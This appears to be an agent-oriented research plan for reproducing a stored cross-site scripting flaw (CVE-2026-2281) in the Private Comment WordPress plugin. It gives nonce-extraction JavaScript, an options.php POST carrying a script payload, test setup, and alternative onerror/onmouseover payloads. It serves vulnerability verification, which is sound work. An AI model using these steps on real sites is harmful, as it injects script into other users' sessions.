Private Comment <= 0.0.4 - Authenticated (Administrator+) Stored Cross-Site Scripting via Label Text Setting

This research plan outlines the technical steps to exploit CVE-2026-2281, a Stored Cross-Site Scripting (XSS) vulnerability in the Private Comment WordPress plugin (versions <= 0.0.4).

1. Vulnerability Summary

The "Private Comment" plugin allows administrators to configure a "Label text" for private comments. The vulnerability exists because the plugin fails to sanitize the input when saving this setting and fails to escape the output when rendering it on the frontend (e.g., in the comment form). While administrators usually have the unfiltered_html capability, this vulnerability is critical in Multi-site environments or installations where DISALLOW_UNFILTERED_HTML is defined, as it allows an administrator to bypass those restrictions and execute arbitrary JavaScript in the context of other users, including Super Admins.

2. Attack Vector Analysis

• Vulnerable Setting: Label text (inferred option name: private_comment_label).
• Endpoint: /wp-admin/options.php (Standard WordPress Settings API) or a custom admin page.
• Payload Parameter: private_comment_label (inferred).
• Authentication: Requires Administrator-level privileges.
• Precondition: The vulnerability is most relevant when unfiltered_html is disabled for administrators (common in Multi-site or hardened installs).

3. Code Flow (Inferred)

1. Registration: The plugin uses register_setting() in a function hooked to admin_init. It likely does not provide a sanitize_callback for the label text option.
2. Storage: When the admin saves settings, WordPress calls update_option() with the raw POST data.
3. Retrieval: On the frontend (comment form), the plugin calls get_option('private_comment_label').
4. Rendering: The retrieved value is echoed directly into the HTML (likely near the comment textarea or as a checkbox label) without using esc_html() or esc_attr().

4. Nonce Acquisition Strategy

Since this vulnerability involves an administrator modifying plugin settings, the exploit must navigate the WordPress Admin UI to handle standard CSRF protections (nonces).

1. Identify Settings Page: Navigate to the plugin settings page (usually under Settings -> Private Comment).
2. Extract Nonces:
   • The standard WordPress Settings API uses a hidden field named _wpnonce.
   • The action for the settings group must be identified.
3. Browser-based extraction:

   // Use browser_eval to find the nonce in the settings form
   const nonce = document.querySelector('input[name="_wpnonce"]')?.value;
   const option_page = document.querySelector('input[name="option_page"]')?.value;
   return { nonce, option_page };
   

5. Exploitation Strategy

The goal is to inject a script that triggers when anyone views a post with comments enabled.

Step 1: Environment Hardening (Pre-exploit)
To demonstrate the vulnerability as a security flaw (rather than a feature), the unfiltered_html capability must be disabled for the administrator.

Step 2: Inject Payload
Submit a POST request to /wp-admin/options.php with the malicious payload.

• URL: https://target.example.com/wp-admin/options.php
• Method: POST
• Content-Type: application/x-www-form-urlencoded
• Parameters:
  • option_page: private_comment_settings_group (inferred)
  • action: update
  • _wpnonce: [EXTRACTED_NONCE]
  • private_comment_label: <script>alert(document.domain)</script> (inferred parameter name)

Step 3: Trigger Execution
Navigate to any public post that has comments enabled. The "Private Comment" checkbox and its malicious label should render, executing the script.

6. Test Data Setup

1. Install Plugin: private-comment version 0.0.4.
2. Restrict Capabilities: Add define( 'DISALLOW_UNFILTERED_HTML', true ); to wp-config.php.
3. Create Admin User: Ensure an administrator account exists.
4. Create Content: Ensure at least one public post exists where comments are allowed.
5. Enable Plugin Feature: Ensure the "Private Comment" feature is active so the label renders on the frontend.

7. Expected Results

• The POST request to options.php should return a 302 Found redirecting back to the settings page with settings-updated=true.
• When visiting a frontend post, an alert box showing the document domain should appear.
• The HTML source of the comment form should contain the raw <script> tag.

8. Verification Steps

1. Verify Database State:

   wp option get private_comment_label --allow-root
   

   Confirm it contains the <script> tag.
2. Verify Frontend Output:
   Use http_request to GET a post page and check if the payload is present without escaping:

   # Look for the unescaped script tag in the response body
   grep "<script>alert(document.domain)</script>" response.html
   

9. Alternative Approaches

If the plugin does not use the standard Settings API (options.php):

• Custom AJAX: Search for wp_ajax_ hooks in the plugin code. If found, identify the action (e.g., pc_save_settings) and the nonce (likely localized via wp_localize_script).
• Direct POST: Check if the plugin processes settings via admin_init directly by checking if (isset($_POST['...'])).
• Payload Variation: If <script> is blocked by a WAF, try attribute-based XSS:
  • "><img src=x onerror=alert(1)>
  • " onmouseover="alert(1) (if injected into an attribute context)

Note on Inferred Identifiers:
The identifiers private_comment_label and private_comment_settings_group are based on standard WordPress plugin naming conventions. The agent must verify these by inspecting the HTML of the settings page using browser_navigate and browser_eval before sending the POST request.